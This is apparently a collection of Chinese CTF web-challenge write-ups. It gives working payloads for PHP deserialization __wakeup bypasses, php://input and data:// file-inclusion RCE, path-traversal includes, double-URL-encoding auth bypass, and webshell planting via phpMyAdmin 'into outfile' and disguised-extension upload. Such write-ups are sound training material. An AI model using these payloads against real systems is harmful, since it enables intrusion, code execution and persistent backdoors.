访问index.php发生302跳转,在F12网络的响应头发现了flag
在robots.txt发现了fl0g.php,访问即得flag
反序列化
class Demo {
private $file = 'index.php';
public function __construct($file) {
$this->file = $file;
}
function __destruct() {
echo @highlight_file($this->file, true);
}
function __wakeup() {
if ($this->file != 'index.php') {
//the secret is in the fl4g.php
$this->file = 'index.php';
}
}
}
if (isset($_GET['var'])) {
$var = base64_decode($_GET['var']);
if (preg_match('/[oc]:\d+:/i', $var)) {
die('stop hacking!');
} else {
@unserialize($var);
}
} else {
highlight_file("index.php");
}
?>
1,unserialize时,_wakeup()的绕过 //只需要令序列化字符串中标识变量数量的值大于实际变量
2,绕过preg_match正则,因为正则会过滤掉序列化开头的字母O //使用+可以绕过preg_match() 正则匹配,O:4改成O:+4
class Demo {
private $file = 'index.php';
public function __construct($file) {
$this->file = $file;
}
function __destruct() {
echo @highlight_file($this->file, true);
}
function __wakeup() {
if ($this->file != 'index.php') {
//the secret is in the fl4g.php
$this->file = 'index.php';
}
}
}
$A = new Demo('fl4g.php');
$C = serialize($A);
var_dump($C);
//string(49) "O:4:"Demo":1:{s:10:"Demofile";s:8:"fl4g.php";}"
$C = str_replace('O:4', 'O:+4',$C);//绕过preg_match
$C = str_replace(':1:', ':2:',$C);//绕过wakeup
var_dump($C);
//string(49) "O:+4:"Demo":2:{s:10:"Demofile";s:8:"fl4g.php";}"
var_dump(base64_encode($C));
//string(68) "TzorNDoiRGVtbyI6Mjp7czoxMDoiAERlbW8AZmlsZSI7czo4OiJmbDRnLnBocCI7fQ=="
?>
文件包含
show_source(__FILE__);
echo $_GET['hello'];
$page=$_GET['page'];
while (strstr($page, "php://")) {
$page=str_replace("php://", "", $page);
}
include($page);
?>
php strstr() 绕过,伪协议包含漏洞
四种方法
strstr() 函数:搜索字符串在另一字符串中是否存在,如果是,返回该字符串及剩余部分,否则返回 FALSE。就是会去除php://,所以需要绕过。
因为strstr()函数对大小写敏感,所以只需PHP://即可绕过。
php://input,需要开启allow_url_include。将post请求的数据当作php代码执行。
构造?page=PHP://,POST data里写,然后cat flag.php。
while函数根据page参数来判断php文件是否存在,如果存在此文件,则进行文件包含。
默认页面为http://127.0.0.1/index.php,设置为page值,可确保while为真
利用hello参数将执行内容显示
?page=http://127.0.0.1/index.php/?hello=%3C?system(%22ls%22);?%3E
?page=http://127.0.0.1/index.php/?hello=%3C?show_source(%22fl4gisisish3r3.php%22);?%3E
可以运行GET过去的数据流
?page=data://text/plain,%3C?php%20system(%27ls%27);?%3E
?page=data://text/plain,%3C?php%20$a=file_get_contents(%27fl4gisisish3r3.php%27);echo%20base64_encode($a);?%3E
或者highlight_file(%27fl4gisisish3r3.php%27);
扫描后台文件
登录phpmyadmin,用户名root,密码为空
在SQL处写入一句话木马和文件包含:
select ""into outfile '/tmp/test.php'
点击执行。
用蚁剑连接(注意在URL地址后加?page=/tmp/test.php )
爆破,/index.php?id=2333时拿到flag
F12提示了source.php
highlight_file(__FILE__);
class emmm
{
public static function checkFile(&$page)
{
$whitelist = ["source"=>"source.php","hint"=>"hint.php"];
if (! isset($page) || !is_string($page)) {
echo "you can't see it";
return false;
}
if (in_array($page, $whitelist)) {
return true;
}
$_page = mb_substr(
$page,
0,
mb_strpos($page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}
$_page = urldecode($page);
$_page = mb_substr(
$_page,
0,
mb_strpos($_page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}
echo "you can't see it";
return false;
}
}
if (! empty($_REQUEST['file'])
&& is_string($_REQUEST['file'])
&& emmm::checkFile($_REQUEST['file'])
) {
include $_REQUEST['file'];
exit;
} else {
echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";
}
?>
1.is_string
:如果指定变量为字符串,则返回 TRUE,否则返回 FALSE。
2.isset
:查看变量是否被设置,(就是有没有这个变量)
3.in_array(xxx,uuu)
:在uuu中搜索xxx,存在返回true
4.mb_substr(xxxx,0,2)
:在xxx中从第0个字符开始输出两个
5.mb_strpos(xxxx,‘as’)
:在xxx中as第一次出现的位置
?file=hint.php发现flag in ffffllllaaaagggg
?file=hint.php%3f…/…/…/…/…/ffffllllaaaagggg
%3f为了绕过一次url编码
把文件最后的eval改成alert,加后缀.html,发现弹窗了源码,整理一下
function $(){
var e=document.getElementById("c").value;
if(e.length==16)
if(e.match(/^be0f23/)!=null)
if(e.match(/233ac/)!=null)
if(e.match(/e98aa$/)!=null)
if(e.match(/c7be9/)!=null){
var t=["fl","s_a","i","e}"];
var n=["a","_h0l","n"];
var r=["g{","e","_0"];
var i=["it'","_","n"];
var s=[t,n,r,i];
for(var o=0;o<13;++o){
document.write(s[o%4][0]);s[o%4].splice(0,1)
}
}
}
document.write('');
delete
把中间那段放到控制台执行一下即得flag。
/index.phps源码泄露
if("admin"===$_GET[id]) {
echo("not allowed!
");
exit();
}
$_GET[id] = urldecode($_GET[id]);
if($_GET[id] == "admin")
{
echo "Access granted!
";
echo "Key: xxxxxxx
";
}
?>
1,要使得$_GET[id]==="admin"
不成立
2,经过$_GET[id] = urldecode($_GET[id]);
,使得$_GET[id] == "admin"
成立。
?id=%2561dmin
当传入参数id时,浏览器在后面会对非ASCII码的字符进行一次urlencode
然后在这段代码中运行时,会自动进行一次urldecode
在urldecode()
函数中,再一次进行一次解码
urldecode(%2561)=%61
urldecode(%61)=a
第一次比较是
if("admin"==="%61dmin")
第二次比较是:
if("admin" == "admin")
class xctf{
public $flag = '111';
public function __wakeup(){
exit('bad requests');
}
?code=
序列化就是将对象转化为可以传输的字符串。
反序列化就是把那串可以传输的字符串再变回对象。
几个魔术函数:
__constuct(): 在创建对象是自动调用
__destuct(): 相当于c++中的析构最后会将对象销毁,所以在对象销毁时 被调用
__toString(): 但一个对象被当成字符串使用时被调用
__sleep(): 当对象被序列化之前使用
__wakeup(): 将在被序列化后立即被调用
__wakeup()执行漏洞:一个字符串或对象被序列化后,如果其属性被修改,则不会执行__wakeup()函数。
当被反序列化的字符串其中对应的对象的属性个数发生变化时,会导致反序列化失败而同时使得_wakeup()函数失效。
这道题里把1改成2
O:4:“xctf”:2:{s:4:“flag”;s:3:“111”;}
上传的是把文件后缀名改为.jpg的一句话木马,Burpsuite抓包之后send to repeater,把后缀名再改回.php,再send,用蚁剑连接回显的地址即可。